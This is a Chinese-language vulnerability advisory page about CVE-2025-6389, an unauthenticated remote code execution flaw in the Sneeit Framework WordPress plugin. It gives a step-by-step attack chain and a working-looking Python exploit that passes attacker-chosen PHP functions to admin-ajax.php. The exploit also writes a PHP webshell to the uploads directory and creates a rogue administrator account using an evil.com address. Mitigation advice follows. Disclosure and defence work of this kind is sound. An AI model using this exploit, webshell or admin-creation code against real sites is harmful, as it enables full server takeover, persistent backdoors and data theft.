IPBUF安全漏洞报告
English
CVE-2025-6389 CVSS 9.8 严重

CVE-2025-6389: Sneeit Framework插件远程代码执行漏洞

披露日期: 2025-11-25

漏洞信息

漏洞编号
CVE-2025-6389
漏洞类型
远程代码执行(RCE)
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Sneeit Framework插件 for WordPress

相关标签

CVE-2025-6389远程代码执行WordPress插件漏洞Sneeit Frameworkcall_user_func滥用无需认证RCECVSS 9.8严重漏洞Web安全PHP安全

漏洞概述

CVE-2025-6389是WordPress平台Sneeit Framework插件中的一个严重远程代码执行漏洞。该漏洞存在于sneeit_articles_pagination_callback()函数中,由于该函数直接接受用户输入并将其传递给PHP的call_user_func()函数进行处理,导致未经认证的攻击者可以在服务器上执行任意代码。Sneeit Framework是一款广受欢迎的WordPress主题框架,被众多网站用于构建新闻、杂志和博客类网站。漏洞影响范围涵盖该插件8.3及之前的所有版本,CVSS评分高达9.8,属于严重级别。攻击者利用此漏洞可以完全控制目标服务器,包括但不限于:植入后门程序、窃取敏感数据、创建新的管理员账户、修改网站内容或进一步横向移动到其他系统。该漏洞无需任何认证或用户交互即可被利用,这极大地增加了其危害性。由于WordPress在全球范围内拥有大量用户,此漏洞可能影响数百万个网站。

技术细节

该漏洞的核心问题在于sneeit_articles_pagination_callback()函数对用户输入的处理不当。函数直接获取用户提交的参数值,并将其作为回调函数名传递给PHP的call_user_func()函数。call_user_func()会动态执行指定名称的函数,当攻击者控制输入时,可以指定任意PHP函数执行。例如,攻击者可以传递system、exec、shell_exec等命令执行函数,配合恶意参数实现服务器命令执行。更危险的是,攻击者还可以利用file_put_contents等函数写入webshell,建立持久化后门。由于该函数通常通过AJAX端点或REST API暴露,攻击者可以直接发送HTTP请求触发漏洞,无需任何身份验证。漏洞利用的关键在于理解WordPress的AJAX机制,攻击者需要构造特定的POST请求,将回调函数名和参数编码在请求数据中发送到wp-admin/admin-ajax.php端点。一旦成功执行,攻击者即可在web服务器权限下执行任意系统命令。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标网站使用的WordPress版本和Sneeit Framework插件,确认插件版本小于8.4
STEP 2
步骤2: 漏洞探测
攻击者向wp-admin/admin-ajax.php发送探测请求,检查sneeit_articles_pagination端点是否可用
STEP 3
步骤3: 构造恶意请求
攻击者构造包含PHP函数名的请求数据,将命令执行函数(如system)作为回调函数名传递,配合系统命令参数
STEP 4
步骤4: 命令执行
call_user_func()函数执行攻击者指定的PHP函数,在服务器上以Web服务用户权限执行系统命令
STEP 5
步骤5: 建立持久化
攻击者利用命令执行能力写入webshell或创建新管理员账户,确保后续可以持续访问目标系统
STEP 6
步骤6: 横向移动
攻击者可以利用已获取的服务器权限进一步渗透内网系统或窃取数据库中的敏感信息

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-6389 PoC - Sneeit Framework RCE # Target: WordPress site with Sneeit Framework plugin < 8.4 def exploit_rce(target_url, command): """ Exploit the RCE vulnerability in sneeit_articles_pagination_callback() This function uses call_user_func() with user-controlled input """ endpoint = target_url.rstrip('/') + '/wp-admin/admin-ajax.php' # The vulnerable parameter that gets passed to call_user_func() # Attackers can specify any PHP function to execute payload = { 'action': 'sneeit_articles_pagination', 'pagination': command # User input passed to call_user_func() } try: response = requests.post(endpoint, data=payload, timeout=10) print(f"[*] Request sent to {endpoint}") print(f"[*] Response status: {response.status_code}") print(f"[*] Response: {response.text[:500]}") return response.text except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return None def create_backdoor(target_url): """ Create a backdoor by writing a PHP webshell to the server """ webshell = '<?php if(isset($_REQUEST[\'cmd\'])){ system($_REQUEST[\'cmd\']); } ?>' # Encode the command to write the webshell cmd = f'echo "{webshell}" > ../wp-content/uploads/backdoor.php' exploit_rce(target_url, f'system:{cmd}') print("[*] Backdoor creation attempted") def create_admin(target_url, username, password): """ Create a new admin user via command execution """ cmd = f'wp user create {username} {username}@evil.com --role=administrator --user_pass={password} --allow-root' exploit_rce(target_url, f'system:{cmd}') print(f"[*] Admin creation attempted: {username}/{password}") if __name__ == '__main__': if len(sys.argv) < 3: print(f"Usage: python {sys.argv[0]} <target_url> <command>") print(f"Example: python {sys.argv[0]} http://example.com 'id'") sys.exit(1) target = sys.argv[1] command = sys.argv[2] exploit_rce(target, f'system:{command}')

影响范围

Sneeit Framework插件所有版本 <= 8.3

防御指南

临时缓解措施
由于该漏洞无需认证即可被利用,建议立即采取以下临时缓解措施:1) 在Web服务器配置中限制对wp-admin/admin-ajax.php端点的访问,仅允许必要的白名单IP访问;2) 临时在Nginx或Apache配置中添加规则,拦截包含特定参数的请求;3) 禁用或删除Sneeit Framework插件直到官方补丁发布;4) 加强服务器权限控制,限制PHP进程的写权限;5) 部署入侵检测系统监控可疑的AJAX请求。同时建议检查服务器日志,排查是否存在利用该漏洞的痕迹,如发现异常命令执行记录应立即响应。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表